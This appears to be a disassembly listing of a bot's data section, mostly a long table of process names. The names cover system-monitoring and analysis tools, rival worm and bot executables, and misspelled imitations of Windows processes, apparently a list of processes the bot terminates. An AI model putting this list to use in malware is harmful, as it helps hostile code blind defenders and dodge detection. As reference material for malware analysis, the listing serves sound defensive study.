aPexplorer_exe db 'PEXPLORER.EXE',0 ; DATA XREF: ?9:00448494o
align 4
aProcdump32_exe db 'PROCDUMP32.EXE',0 ; DATA XREF: ?9:00448490o
align 4
aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: ?9:0044848Co
align 4
aTlist_exe db 'TLIST.EXE',0 ; DATA XREF: ?9:00448488o
align 4
aFport_exe db 'FPORT.EXE',0 ; DATA XREF: ?9:00448484o
align 10h
aFilemon_exe db 'FILEMON.EXE',0 ; DATA XREF: ?9:00448480o
aPortmon_exe db 'PORTMON.EXE',0 ; DATA XREF: ?9:0044847Co
aProcexp_exe db 'PROCEXP.EXE',0 ; DATA XREF: ?9:00448478o
aRegmon_exe db 'REGMON.EXE',0 ; DATA XREF: ?9:00448474o
align 10h
aWinsniff_exe db 'WINSNIFF.EXE',0 ; DATA XREF: ?9:00448470o
align 10h
aHostmon_exe db 'HOSTMON.EXE',0 ; DATA XREF: ?9:0044846Co
aSharemon_exe db 'SHAREMON.EXE',0 ; DATA XREF: ?9:00448468o
align 4
aTcpstats_exe db 'TCPSTATS.EXE',0 ; DATA XREF: ?9:00448464o
align 4
aTcpstat_exe db 'TCPSTAT.EXE',0 ; DATA XREF: ?9:00448460o
aTcpmon_exe db 'TCPMON.EXE',0 ; DATA XREF: ?9:0044845Co
align 4
aTcpdump_exe db 'TCPDUMP.EXE',0 ; DATA XREF: ?9:00448458o
aTcpviewpro_exe db 'TCPVIEWPRO.EXE',0 ; DATA XREF: ?9:00448454o
align 10h
aTcpview_exe db 'TCPVIEW.EXE',0 ; DATA XREF: ?9:00448450o
aZz_exe db 'ZZ.EXE',0 ; DATA XREF: ?9:0044844Co
align 4
aDbot_exe db 'DBOT.EXE',0 ; DATA XREF: ?9:00448448o
align 10h
aHbot_exe db 'HBOT.EXE',0 ; DATA XREF: ?9:00448444o
align 4
aA_bat db 'A.BAT',0 ; DATA XREF: ?9:00448440o
align 4
aAg_exe db 'AG.EXE',0 ; DATA XREF: ?9:0044843Co ?9:0044870Co
align 4
aRundil_exe db 'RUNDIL.EXE',0 ; DATA XREF: ?9:00448434o
align 4
aWinpooch_exe db 'WINPOOCH.EXE',0 ; DATA XREF: ?9:00448430o
align 4
aWinmpat_exe db 'WINMPAT.EXE',0 ; DATA XREF: ?9:00448428o
aMsssmsngr6417_ db 'MSSSMSNGR6417.EXE',0 ; DATA XREF: ?9:00448424o
align 4
aWaucult_exe db 'WAUCULT.EXE',0 ; DATA XREF: ?9:00448420o
aJswtss_exe db 'JSWTSS.EXE',0 ; DATA XREF: ?9:0044841Co
align 10h
aSvcvhost_exe db 'SVCVHOST.EXE',0 ; DATA XREF: ?9:00448418o
align 10h
aRp5_exe db 'RP5.EXE',0 ; DATA XREF: ?9:00448414o
aBsdmpldrvr642_ db 'BSDMPLDRVR642.EXE',0 ; DATA XREF: ?9:00448410o
align 4
aMyhost_exe db 'MYHOST.EXE',0 ; DATA XREF: ?9:0044840Co
align 4
aMswins_exe db 'MSWINS.EXE',0 ; DATA XREF: ?9:00448408o
align 4
aWindowsvista_e db 'WINDOWSVISTA.EXE',0 ; DATA XREF: ?9:00448404o
align 4
aQkkku_exe db 'QKKKU.EXE',0 ; DATA XREF: ?9:00448400o
align 4
aMessengerr_exe db 'MESSENGERR.EXE',0 ; DATA XREF: ?9:004483FCo
align 4
aEraseme_exe db 'ERASEME.EXE',0 ; DATA XREF: ?9:004483F8o
aTskmagr_exe db 'TSKMAGR.EXE',0 ; DATA XREF: ?9:004483F4o
aCmh_exe db 'CMH.EXE',0 ; DATA XREF: ?9:004483F0o
aSmsc_exe db 'SMSC.EXE',0 ; DATA XREF: ?9:004483ECo
align 10h
aQtask_exe db 'QTASK.EXE',0 ; DATA XREF: ?9:004483E8o
align 4
aWuaumqr1_exe db 'WUAUMQR1.EXE',0 ; DATA XREF: ?9:004483E4o
align 4
aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: ?9:004483E0o
align 4
aInternet_exe db 'INTERNET.EXE',0 ; DATA XREF: ?9:004483DCo
align 4
aCtfmom_exe db 'CTFMOM.EXE',0 ; DATA XREF: ?9:004483D4o
align 4
aWindowantasdiv db 'WINDOWANTASDIVRI.EXE',0 ; DATA XREF: ?9:004483D0o
align 10h
aSchost_exe db 'SCHOST.EXE',0 ; DATA XREF: ?9:004483CCo
align 4
aNewbot_exe db 'NEWBOT.EXE',0 ; DATA XREF: ?9:004483C8o
align 4
aIi_exe db 'II.EXE',0 ; DATA XREF: ?9:004483C4o
align 10h
aMssdev_exe db 'MSSDEV.EXE',0 ; DATA XREF: ?9:004483C0o
align 4
aIshost_exe db 'ISHOST.EXE',0 ; DATA XREF: ?9:004483BCo
align 4
aIsmini_exe db 'ISMINI.EXE',0 ; DATA XREF: ?9:004483B8o
align 4
aNl210_bat db 'NL210.BAT',0 ; DATA XREF: ?9:004483B0o
align 10h
aWinupdtsrv_exe db 'WINUPDTSRV.EXE',0 ; DATA XREF: ?9:004483ACo
align 10h
aMsn_update_exe db 'MSN_UPDATE.EXE',0 ; DATA XREF: ?9:004483A8o
align 10h
aSysmonxp_exe db 'SYSMONXP.EXE',0 ; DATA XREF: ?9:004483A0o
align 10h
aSvcdata_exe db 'SVCDATA.EXE',0 ; DATA XREF: ?9:0044839Co
aReg32_exe db 'REG32.EXE',0 ; DATA XREF: ?9:00448398o
align 4
aDll32_exe db 'DLL32.EXE',0 ; DATA XREF: ?9:00448394o
align 4
aIexplores_exe db 'IEXPLORES.EXE',0 ; DATA XREF: ?9:00448390o
align 4
aSusp_exe db 'SUSP.EXE',0 ; DATA XREF: ?9:0044838Co
align 10h
aSpool_exe db 'SPOOL.EXE',0 ; DATA XREF: ?9:00448388o
align 4
a568_exe db '568.EXE',0 ; DATA XREF: ?9:00448384o
aCcupdate_exe db 'CCUPDATE.EXE',0 ; DATA XREF: ?9:00448380o
align 4
aLoadadv642_exe db 'LOADADV642.EXE',0 ; DATA XREF: ?9:0044837Co
align 4
aSsc_exe db 'SSC.EXE',0 ; DATA XREF: ?9:00448378o
aVcmon_exe db 'VCMON.EXE',0 ; DATA XREF: ?9:00448374o
align 4
aMstskmgr_exe db 'MSTSKMGR.EXE',0 ; DATA XREF: ?9:00448370o
align 4
aServlces_exe db 'SERVLCES.EXE',0 ; DATA XREF: ?9:0044836Co
align 4
aServlce_exe db 'SERVLCE.EXE',0 ; DATA XREF: ?9:00448368o
aMslaugh_exe db 'MSLAUGH.EXE',0 ; DATA XREF: ?9:00448364o
aMsnmgr12_exe db 'MSNMGR12.EXE',0 ; DATA XREF: ?9:00448360o
align 10h
aWinform32_exe db 'WINFORM32.EXE',0
align 10h
aDllx32_exe db 'DLLX32.EXE',0
align 4
aRp_exe db 'RP.EXE',0
align 4
aGecko_exe db 'GECKO.EXE',0
align 10h
aReptile_exe db 'REPTILE.EXE',0
aLrsys_exe db 'LRSYS.EXE',0
align 4
aSrshost_exe db 'SRSHOST.EXE',0
aMsdos_exe db 'MSDOS.EXE',0
align 10h
aWumgre_exe db 'WUMGRE.EXE',0
align 4
aWumgr_exe db 'WUMGR.EXE',0
align 4
aD3dupdate_exe db 'D3DUPDATE.EXE',0
align 4
aI11r54n4_exe db 'I11R54N4.EXE',0
align 4
aBbeagle32_exe db 'BBEAGLE32.EXE',0
align 4
aBbeagle2_exe db 'BBEAGLE2.EXE',0
align 4
aBbeagle_exe db 'BBEAGLE.EXE',0
aBeagle_exe db 'BEAGLE.EXE',0
align 10h
aSsate_exe db 'SSATE.EXE',0
align 4
aVhost_exe db 'VHOST.EXE',0
align 4
aIeserver_exe db 'IESERVER.EXE',0
align 4
aDsrss_exe db 'DSRSS.EXE',0
align 4
aSvvosts_exe db 'SVVOSTS.EXE',0
aUpdat_exe db 'UPDAT.EXE',0
align 4
aServicesmsi_ex db 'SERVICESMSI.EXE',0
aSpoolmgr_exe db 'SPOOLMGR.EXE',0
align 4
aWinhelp_exe_0 db 'WINHELP.EXE',0 ; DATA XREF: ?9:00448750o
aNttdll_exe db 'NTTDLL.EXE',0
align 4
aIrun4_exe db 'IRUN4.EXE',0
align 10h
aSys_xp_exe db 'SYS_XP.EXE',0
align 4
aSvcost_exe db 'SVCOST.EXE',0 ; DATA XREF: ?9:00448534o
align 4
aWinusb32_exe db 'WINUSB32.EXE',0
align 4
aWinusb_exe db 'WINUSB.EXE',0
align 4
aWinspooler_exe db 'WINSPOOLER.EXE',0
align 4
aWinsock_exe db 'WINSOCK.EXE',0
aIpcmgr_exe db 'IPCMGR.EXE',0
align 4
aWuamgrd3_exe db 'WUAMGRD3.EXE',0
align 4
aWuamgrd_exe db 'WUAMGRD.EXE',0 ; DATA XREF: ?9:00448514o
aWuamgr_exe db 'WUAMGR.EXE',0 ; DATA XREF: ?9:004482C8o
align 4
aLansas_exe db 'LANSAS.EXE',0 ; DATA XREF: ?9:004482C4o
align 10h
aXml32_exe db 'XML32.EXE',0 ; DATA XREF: ?9:004482C0o
align 4
aXml_exe db 'XML.EXE',0 ; DATA XREF: ?9:004482BCo
aWinz_exe db 'WINZ.EXE',0 ; DATA XREF: ?9:004482B8o
align 10h
aWinsys_exe db 'WINSYS.EXE',0 ; DATA XREF: ?9:004482B4o
align 4
aWgavm_exe db 'WGAVM.EXE',0
align 4
aStdrun3_exe db 'STDRUN3.EXE',0
aTaskdir_exe db 'TASKDIR.EXE',0
aPmsngr_exe db 'PMSNGR.EXE',0
align 4
aTaskmsg_exe db 'TASKMSG.EXE',0
aWdfmgr32_exe db 'WDFMGR32.EXE',0
align 4
aNotaped_exe db 'NOTAPED.EXE',0
aCsrs_exe db 'CSRS.EXE',0
align 10h
aWincomm_exe db 'WINCOMM.EXE',0
aWinocx_exe db 'WINOCX.EXE',0
align 4
aWinlolx_exe db 'WINLOLX.EXE',0
aJavanet_exe db 'JAVANET.EXE',0
aMaxd641_exe db 'MAXD641.EXE',0
aMs_exe db 'MS.EXE',0
align 4
aService_exe db 'SERVICE.EXE',0
aMsnlive_exe db 'MSNLIVE.EXE',0
aWip_exe db 'WIP.EXE',0
a666_exe db '666.EXE',0
aMybot_exe db 'MYBOT.EXE',0
align 4
aMyt0b_exe db 'MYT0B.EXE',0
align 4
aHellmsn_exe db 'HELLMSN.EXE',0
aFunny_pic_scr db 'FUNNY_PIC.SCR',0
align 10h
aMsgm_exe db 'MSGM.EXE',0
align 4
aMsgmr_exe db 'MSGMR.EXE',0
align 4
aWinpadg_exe db 'WINPADG.EXE',0
aHide_exe db 'HIDE.EXE',0 ; DATA XREF: ?9:004484FCo ?9:00448588o
align 10h
aHidden_exe db 'HIDDEN.EXE',0 ; DATA XREF: ?9:004484F8o
align 4
aHidden32_exe db 'HIDDEN32.EXE',0 ; DATA XREF: ?9:004484ECo ?9:004484F4o
align 4
aHiddenrun_exe db 'HIDDENRUN.EXE',0
align 4
aWindowsp_exe db 'WINDOWSP.EXE',0
align 4
aWinsystem_exe db 'WINSYSTEM.EXE',0
align 4
aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: ?9:004488ECo
align 4
aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: ?9:004488E8o
align 4
aWindow_exe db 'WINDOW.EXE',0
align 4
aWindows_exe db 'WINDOWS.EXE',0
aSaveuninst_exe db 'SAVEUNINST.EXE',0
align 10h
aWups_exe db 'WUPS.EXE',0
align 4
aSvcshoter_exe db 'SVCSHOTER.EXE',0
align 4
aWinmap_exe db 'WINMAP.EXE',0
align 4
aMydocs_exe db 'MYDOCS.EXE',0
align 4
aWinb_exe db 'WINB.EXE',0
align 10h
aWinnamps_exe db 'WINNAMPS.EXE',0
align 10h
aCmrss_dll_exe db 'CMRSS.DLL.EXE',0
align 10h
aWin_exe db 'WIN.EXE',0
aWin32_exe db 'WIN32.EXE',0
align 4
aWinis_exe db 'WINIS.EXE',0
align 10h
aMsnmsg_exe db 'MSNMSG.EXE',0
align 4
aMsnmsgs_exe db 'MSNMSGS.EXE',0
aXpfirewall_exe db 'XPFIREWALL.EXE',0
align 4
aWfdmgr_exe db 'WFDMGR.EXE',0
align 4
aTaskm0n_exe db 'TASKM0N.EXE',0
aTaskgmr_exe db 'TASKGMR.EXE',0
aWincfg32_exe db 'WINCFG32.EXE',0
align 4
aSyscfg32_exe db 'SYSCFG32.EXE',0
align 4
aSyscfg16_exe db 'SYSCFG16.EXE',0
align 4
aSystra_exe db 'SYSTRA.EXE',0
align 4
aRpc32_exe db 'RPC32.EXE',0
align 4
aMsmgrxp_exe db 'MSMGRXP.EXE',0
aSuhoy_exe db 'SUHOY.EXE',0
align 4
aPicx_exe db 'PICX.EXE',0
align 4
aMathchk_exe db 'MATHCHK.EXE',0
aRundll16_exe db 'RUNDLL16.EXE',0
align 4
aMsserrv32_exe db 'MSSERRV32.EXE',0
align 4
aPopwin_exe db 'POPWIN.EXE',0
align 10h
aRundii32_exe db 'RUNDII32.EXE',0
align 10h
aCtxad_exe db 'CTXAD.EXE',0
align 4
aMshtml3_exe db 'MSHTML3.EXE',0
aMshtml2_exe db 'MSHTML2.EXE',0
aMshtml1_exe db 'MSHTML1.EXE',0
aMshtml_exe db 'MSHTML.EXE',0
align 4
aNdrv_exe db 'NDRV.EXE',0
align 4
aTskmgr_exe db 'TSKMGR.EXE',0
align 4
aPapersrv_exe db 'PAPERSRV.EXE',0
align 4
aIe7_exe db 'IE7.EXE',0
aIe6_exe db 'IE6.EXE',0
aTaskmngr32_exe db 'TASKMNGR32.EXE',0 ; DATA XREF: ?9:0044816Co
align 4
aW32gen_exe db 'W32GEN.EXE',0 ; DATA XREF: ?9:00448168o
align 10h
aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: ?9:00448164o ?9:00448438o
align 4
aBot_exe db 'BOT.EXE',0 ; DATA XREF: ?9:00448160o
aCrxbot_exe db 'CRXBOT.EXE',0 ; DATA XREF: ?9:0044815Co
align 10h
aDns32_exerxbot db 'DNS32.EXERXBOT.EXE',0 ; DATA XREF: ?9:00448158o
align 4
aDnssvc_exe db 'DNSSVC.EXE',0 ; DATA XREF: ?9:00448154o
align 10h
aDnssrv_exe db 'DNSSRV.EXE',0 ; DATA XREF: ?9:00448150o
align 4
aWin32update_ex db 'WIN32UPDATE.EXE',0 ; DATA XREF: ?9:0044814Co
aWinsvc_exe db 'WINSVC.EXE',0 ; DATA XREF: ?9:00448148o
align 4
aScsrc_exe db 'SCSRC.EXE',0 ; DATA XREF: ?9:00448144o
align 4
aWservices_exe db 'WSERVICES.EXE',0 ; DATA XREF: ?9:00448140o
align 4
aWservice_exe db 'WSERVICE.EXE',0 ; DATA XREF: ?9:0044813Co
align 4
aWinime_exe db 'WINIME.EXE',0 ; DATA XREF: ?9:00448138o
align 10h
aLinewsrv_exe db 'LINEWSRV.EXE',0 ; DATA XREF: ?9:00448134o
align 10h
aMicrosoft_exe db 'MICROSOFT.EXE',0 ; DATA XREF: ?9:00448130o
align 10h
aServices32_exe db 'SERVICES32.EXE',0 ; DATA XREF: ?9:0044812Co
align 10h
aWgareg_exe db 'WGAREG.EXE',0 ; DATA XREF: ?9:00448128o
align 4
aAsn1sys_exe db 'ASN1SYS.EXE',0 ; DATA XREF: ?9:00448124o
aIiexplorer_exe db 'IIEXPLORER.EXE',0 ; DATA XREF: ?9:00448120o
align 4
aIiexplore_exe db 'IIEXPLORE.EXE',0 ; DATA XREF: ?9:0044811Co
align 4
aLsass_32_exe db 'LSASS_32.EXE',0 ; DATA XREF: ?9:00448118o
align 4
aSssvhost_exe db 'SSSVHOST.EXE',0 ; DATA XREF: ?9:00448114o
align 4
aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: ?9:00448110o
align 4
aSpoolvs_exe db 'SPOOLVS.EXE',0 ; DATA XREF: ?9:0044810Co
aSpoolv_exe db 'SPOOLV.EXE',0 ; DATA XREF: ?9:00448108o
align 10h
aMsnmsgrr_exe db 'MSNMSGRR.EXE',0 ; DATA XREF: ?9:00448104o
align 10h
aMsmmsgr_exe db 'MSMMSGR.EXE',0 ; DATA XREF: ?9:00448100o
aMsner_exe db 'MSNER.EXE',0 ; DATA XREF: ?9:004480FCo
align 4
aMsnupdater_exe db 'MSNUPDATER.EXE',0 ; DATA XREF: ?9:004480F8o
align 4
aMsnupdate_exe db 'MSNUPDATE.EXE',0 ; DATA XREF: ?9:004480F4o
align 4
aAlg32_exe db 'ALG32.EXE',0 ; DATA XREF: ?9:004480F0o
align 4
aInstall_sp_exe db 'INSTALL_SP.EXE',0 ; DATA XREF: ?9:004480ECo
align 4
aTmrservice_exe db 'TMRSERVICE.EXE',0 ; DATA XREF: ?9:004480E8o
align 4
aMsnplus_exe db 'MSNPLUS.EXE',0 ; DATA XREF: ?9:004480E4o
aMsmpls_exe db 'MSMPLS.EXE',0 ; DATA XREF: ?9:004480E0o
align 4
aYesbron_com db 'YESBRON.COM',0 ; DATA XREF: ?9:004480DCo
aWinlogon32_exe db 'WINLOGON32.EXE',0 ; DATA XREF: ?9:004480D8o
align 4
aWinl0gin_exe db 'WINL0GIN.EXE',0 ; DATA XREF: ?9:004480D4o
align 4
aWinl0gon_exe db 'WINL0GON.EXE',0 ; DATA XREF: ?9:004480D0o
align 4
aAk_exe db 'AK.EXE',0 ; DATA XREF: ?9:004480CCo
align 10h
aAkwid_exe db 'AKWID.EXE',0 ; DATA XREF: ?9:004480C8o
align 4
aSyser_exe db 'SYSER.EXE',0 ; DATA XREF: ?9:004480C4o
align 4
aWinupd_exe db 'WINUPD.EXE',0 ; DATA XREF: ?9:004480C0o ?9:004483A4o
align 4
aSys_exe db 'SYS.EXE',0 ; DATA XREF: ?9:004480BCo
aWinrpc_exe db 'WINRPC.EXE',0 ; DATA XREF: ?9:004480B8o
align 4
aLsass32_exe db 'LSASS32.EXE',0 ; DATA XREF: ?9:004480B4o
aMsdevelop_exe db 'MSDEVELOP.EXE',0 ; DATA XREF: ?9:004480B0o
align 4
aNetmsn_exe db 'NETMSN.EXE',0 ; DATA XREF: ?9:004480ACo
align 10h
aWinsockx32_exe db 'WINSOCKX32.EXE',0 ; DATA XREF: ?9:004480A8o
align 10h
aSserrvv_exe db 'SSERRVV.EXE',0 ; DATA XREF: ?9:004480A4o
aWinsys_32_exe db 'WINSYS_32.EXE',0 ; DATA XREF: ?9:004480A0o
align 4
aSerrv_exe db 'SERRV.EXE',0 ; DATA XREF: ?9:0044809Co
align 4
aMysvcc_exe db 'MYSVCC.EXE',0 ; DATA XREF: ?9:00448098o
align 4
aSpoolss_exe db 'SPOOLSS.EXE',0 ; DATA XREF: ?9:00448094o ?9:0044854Co
aNtsf_exe db 'NTSF.EXE',0 ; DATA XREF: ?9:00448090o ?9:00448558o
align 4
aWks_exe db 'WKS.EXE',0 ; DATA XREF: ?9:00448088o
aBingo_exe db 'BINGO.EXE',0 ; DATA XREF: ?9:00448084o
align 10h
aBingoo_exe db 'BINGOO.EXE',0 ; DATA XREF: ?9:00448080o
align 4
aScrhost_exe db 'SCRHOST.EXE',0 ; DATA XREF: ?9:0044807Co
aSvlhost_exe db 'SVLHOST.EXE',0
aWinsini_exe db 'WINSINI.EXE',0
aAaaamon_exe db 'AAAAMON.EXE',0
aDpnwsock_exe db 'DPNWSOCK.EXE',0
align 4
aLmhsvc_exe db 'LMHSVC.EXE',0
align 4
aS32evnt1_exe db 'S32EVNT1.EXE',0
align 4
aDmloader_exe db 'DMLOADER.EXE',0
align 4
aDskquota_exe db 'DSKQUOTA.EXE',0
align 4
aCatsrv_exe db 'CATSRV.EXE',0
align 4
aRasapi32_exe db 'RASAPI32.EXE',0
align 4
aWintemp_exe db 'WINTEMP.EXE',0
aDrives_exe db 'DRIVES.EXE',0
align 4
aIrdvxc_exe db 'IRDVXC.EXE',0
align 4
aCashback_exe db 'CASHBACK.EXE',0
align 4
aMsusb_exe db 'MSUSB.EXE',0
align 4
aMsupsrv_exe db 'MSUPSRV.EXE',0
aMsjava_exe db 'MSJAVA.EXE',0 ; DATA XREF: ?9:00448038o
align 4
aMsJava_exe db 'MS-JAVA.EXE',0 ; DATA XREF: ?9:00448034o
aWininet_exe db 'WININET.EXE',0
aWiniogin_exe db 'WINIOGIN.EXE',0
align 4
aMsxml_exe db 'MSXML.EXE',0
align 10h
aNetapi1_exe db 'NETAPI[1].EXE',0
align 10h
aNetapi32_exe db 'NETAPI32.EXE',0
align 10h
aNetapi_exe db 'NETAPI.EXE',0
align 4
aWinrnr_exe db 'WINRNR.EXE',0
align 4
aWallpap1_exe db 'WALLPAP[1].EXE',0
align 4
aWallpap_exe db 'WALLPAP.EXE',0
aWinsysmngr32_e db 'WINSYSMNGR32.EXE',0
align 4
aWinload_exe db 'WINLOAD.EXE',0
aWincmd_exe db 'WINCMD.EXE',0
align 10h
aNetlogon_exe db 'NETLOGON.EXE',0
align 10h
aExplorer32_exe db 'EXPLORER32.EXE',0
align 10h
aDihf_exe db 'DIHF.EXE',0
align 4
aWintask32_exe db 'WINTASK32.EXE',0
align 4
aWincodecs_exe db 'WINCODECS.EXE',0
align 4
aSxserv101_exe db 'SXSERV101.EXE',0 ; DATA XREF: ?9:00447FECo
align 4
aMssecure32_exe db 'MSSECURE32.EXE',0
align 4
aMsexplore_exe db 'MSEXPLORE.EXE',0
align 4
aDllsys64_exe db 'DLLSYS64.EXE',0
align 4
aSvchozt_exe db 'SVCHOZT.EXE',0
aLibsys32_exe db 'LIBSYS32.EXE',0
align 4
aDllmgr64_exe db 'DLLMGR64.EXE',0
align 4
aCrsscs_exe db 'CRSSCS.EXE',0
align 4
aCrsss_exe db 'CRSSS.EXE',0
align 10h
aSmsss_exe db 'SMSSS.EXE',0
align 4
aLsasss_exe db 'LSASSS.EXE',0
align 4
aRofl_exe db 'ROFL.EXE',0
align 4
aLol_exe db 'LOL.EXE',0
aRotflz_exe db 'ROTFLZ.EXE',0
align 4
aSvwhost32_exe db 'SVWHOST32.EXE',0
align 4
aIelower2_exe db 'IELOWER2.EXE',0
align 4
aIelower_exe db 'IELOWER.EXE',0
aLower_exe db 'LOWER.EXE',0
align 10h
aBl0w_exe db 'BL0W.EXE',0
align 4
aSvch0st_exe db 'SVCH0ST.EXE',0
aWinupdates_exe db 'WINUPDATES.EXE',0
align 4
aWkssr_exe db 'WKSSR.EXE',0
align 4
aPerfont_exe db 'PERFONT.EXE',0
aQttask_bat db 'QTTASK.BAT',0
align 4
aMsupdate_exe db 'MSUPDATE.EXE',0
align 4
aMsnxplive_exe db 'MSNXPLIVE.EXE',0
align 4
aSalvage_exe db 'SALVAGE.EXE',0
aFhm_exe db 'FHM.EXE',0
aMscrash_exe db 'MSCRASH.EXE',0
aRecsl_exe db 'RECSL.EXE',0 ; DATA XREF: ?9:004483D8o
align 4
aBrwconf_exe db 'BRWCONF.EXE',0
aMsserv32_exe db 'MSSERV32.EXE',0
align 4
aM2_2_exe db 'M2.2.EXE',0
align 10h
aWindir32_exe db 'WINDIR32.EXE',0
align 10h
aZango_exe db 'ZANGO.EXE',0
align 4
aRunjava_exe db 'RUNJAVA.EXE',0
aServicent_exe db 'SERVICENT.EXE',0
align 4
aCsvhost_exe db 'CSVHOST.EXE',0
aMs32_exe db 'MS32.EXE',0
align 10h
aW32_exe db 'W32.EXE',0
aZ_exe db 'Z.EXE',0
align 10h
aDll64_exe db 'DLL64.EXE',0 ; DATA XREF: ?9:00447F48o
align 4
aServ454_exe db 'SERV454.EXE',0 ; DATA XREF: ?9:00447F44o
aMsie701_exe db 'MSIE701.EXE',0 ; DATA XREF: ?9:00447F40o
aWinrarx_exe db 'WINRARX.EXE',0 ; DATA XREF: ?9:00447F3Co
aUpdate32_exe db 'UPDATE32.EXE',0 ; DATA XREF: ?9:00447F38o
align 10h
aGreen_exe db 'GREEN.EXE',0 ; DATA XREF: ?9:00447F34o
align 4
aBling_exe db 'BLING.EXE',0 ; DATA XREF: ?9:00447F30o
align 4
aCrssr_exe db 'CRSSR.EXE',0 ; DATA XREF: ?9:00447F2Co
align 4
aWnl_exe db 'WNL.EXE',0 ; DATA XREF: ?9:00447F28o
aOwinssap_exe db 'OWINSSAP.EXE',0 ; DATA XREF: ?9:00447F24o
align 4
aSvchost32_exe db 'SVCHOST32.EXE',0 ; DATA XREF: ?9:00447F20o ?9:00448528o
align 4
aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: ?9:00447F1Co ?9:004488E0o
align 4
aRbot_exe db 'RBOT.EXE',0 ; DATA XREF: ?9:00447F18o
align 4
aSvhost32_exe db 'SVHOST32.EXE',0 ; DATA XREF: ?9:00447F14o
align 4
aSvhostcs32_exe db 'SVHOSTCS32.EXE',0 ; DATA XREF: ?9:00447F10o ?9:0044808Co ...
align 4
aSms_exe db 'SMS.EXE',0 ; DATA XREF: ?9:00447F0Co
aSeekmo_exe db 'SEEKMO.EXE',0 ; DATA XREF: ?9:00447F08o
align 4
aSass_exe db 'SASS.EXE',0 ; DATA XREF: ?9:00447F04o
align 4
aShost_exe db 'SHOST.EXE',0 ; DATA XREF: ?9:00447F00o
align 4
aSys32_exe db 'SYS32.EXE',0 ; DATA XREF: ?9:00447EFCo
align 10h
aSvcchosst_exe db 'SVCCHOSST.EXE',0 ; DATA XREF: ?9:00447EF8o
align 10h
aBotpacked_exe db 'BOTPACKED.EXE',0 ; DATA XREF: ?9:00447EF4o
align 10h
aExxplorer_exe db 'EXXPLORER.EXE',0 ; DATA XREF: ?9:00447EF0o
align 10h
aIexplore7_exe db 'IEXPLORE7.EXE',0 ; DATA XREF: ?9:00447EECo
align 10h
aIexplore6_exe db 'IEXPLORE6.EXE',0 ; DATA XREF: ?9:00447EE8o
align 10h
aIexplor_exe db 'IEXPLOR.EXE',0 ; DATA XREF: ?9:00447EE4o
aPenis32_exe db 'PENIS32.EXE',0 ; DATA XREF: ?9:00447EE0o
aWorm32_exe db 'WORM32.EXE',0 ; DATA XREF: ?9:00447EDCo
align 4
aC27d8fefD7ae42 db 'C27D8FEF-D7AE-42C0-82E6-F30598265639.EXE',0 ; DATA XREF: ?9:00447ED8o
align 10h
aScrtkfg_exe db 'SCRTKFG.EXE',0 ; DATA XREF: ?9:00447ED4o
aMsappview32_ex db 'MSAPPVIEW32.EXE',0 ; DATA XREF: ?9:00447ED0o
aSavenow_exe db 'savenow.exe',0 ; DATA XREF: ?9:00447ECCo
aX_exe db 'x.exe',0 ; DATA XREF: ?9:00447EC8o
align 10h
aRas2_exe db 'ras2.exe',0 ; DATA XREF: ?9:00447EC4o
align 4
aSvhcost_exe db 'svhcost.exe',0 ; DATA XREF: ?9:00447EC0o
aIpcscan_exe db 'ipcscan.exe',0 ; DATA XREF: ?9:00447EBCo
aNtdll64_exe db 'ntdll64.exe',0 ; DATA XREF: ?9:00447EB8o
aMsr_exe db 'msr.exe',0 ; DATA XREF: ?9:00447EB4o
aWgavm_exe_0 db 'wgavm.exe',0 ; DATA XREF: ?9:00447EB0o
align 4
aWgareg_exe_0 db 'wgareg.exe',0 ; DATA XREF: ?9:00447EACo
align 10h
aCmd32_exe db 'cmd32.exe',0 ; DATA XREF: ?9:00447EA8o
align 4
aKspoold_exe db 'kspoold.exe',0 ; DATA XREF: ?9:00447EA4o
aHosts_exe db 'hosts.exe',0 ; DATA XREF: ?9:00447EA0o
align 4
aSvchost32_ex_0 db 'svchost32.exe',0 ; DATA XREF: ?9:00447E9Co
align 4
aWiniogon_exe_0 db 'winiogon.exe',0 ; DATA XREF: ?9:00447E98o
align 4
aIsass_exe_0 db 'isass.exe',0 ; DATA XREF: ?9:00447E94o
align 10h
a1sass_exe db '1sass.exe',0 ; DATA XREF: ?9:00447E90o
align 4
aMsrsys32_exe db 'msrsys32.exe',0 ; DATA XREF: ?9:00447E8Co
align 4
aSmsc32_exe db 'smsc32.exe',0 ; DATA XREF: ?9:00447E88o
align 4
aSysmgr_exe db 'sysmgr.exe',0 ; DATA XREF: ?9:00447E84o
align 4
aSpooisv_exe_0 db 'spooisv.exe',0 ; DATA XREF: ?9:00447E80o
aFun_exe db 'fun.exe',0 ; DATA XREF: ?9:00447E7Co
aAlgs_exe db 'algs.exe',0 ; DATA XREF: ?9:00447E78o
align 4
aSvhost_exe_0 db 'svhost.exe',0 ; DATA XREF: ?9:00447E74o
align 10h
aKernel32_exe_0 db 'kernel32.exe',0 ; DATA XREF: ?9:00447E70o
align 10h
aMsblast_exe_0 db 'msblast.exe',0 ; DATA XREF: ?9:00447E6Co
aPenis32_exe_0 db 'penis32.exe',0 ; DATA XREF: ?9:00447E68o
aPenis_exe db 'penis.exe',0 ; DATA XREF: ?9:00447E64o
align 4
aWorm32_exe_0 db 'worm32.exe',0 ; DATA XREF: ?9:00447E60o
align 10h
aMsile_exe db 'msile.exe',0 ; DATA XREF: ?9:00447E5Co
align 4
aSsms_exe db 'ssms.exe',0 ; DATA XREF: ?9:00447E58o
align 4
aEraseme_exe_0 db 'ERASEME*.EXE',0 ; DATA XREF: ?9:00447E54o
align 4
aEraseme_exe_1 db 'eraseme*.exe',0 ; DATA XREF: ?9:00447E50o
align 4
a_tmp_exe db '*.TMP.EXE',0 ; DATA XREF: ?9:00447E4Co
align 4
a_tmp_exe_0 db '*.tmp.exe',0 ; DATA XREF: ?9:off_447E48o
align 10h
dword_44C960 dd 4E56025Bh, 5D023A43h, 20732520h, 7325202Dh, 25202D20h
; DATA XREF: ?9:00447E3Co
dd 73h
dword_44C978 dd 65676152h, 2E746F42h, 42hdword_44C984 dd 2C343103h, 5B3A2E31h, 2C353103h, 47417231h, 546F4245h
; DATA XREF: ?9:00447E34o
dd 2C343103h, 2E3A5D31h, 2C353103h, 31h
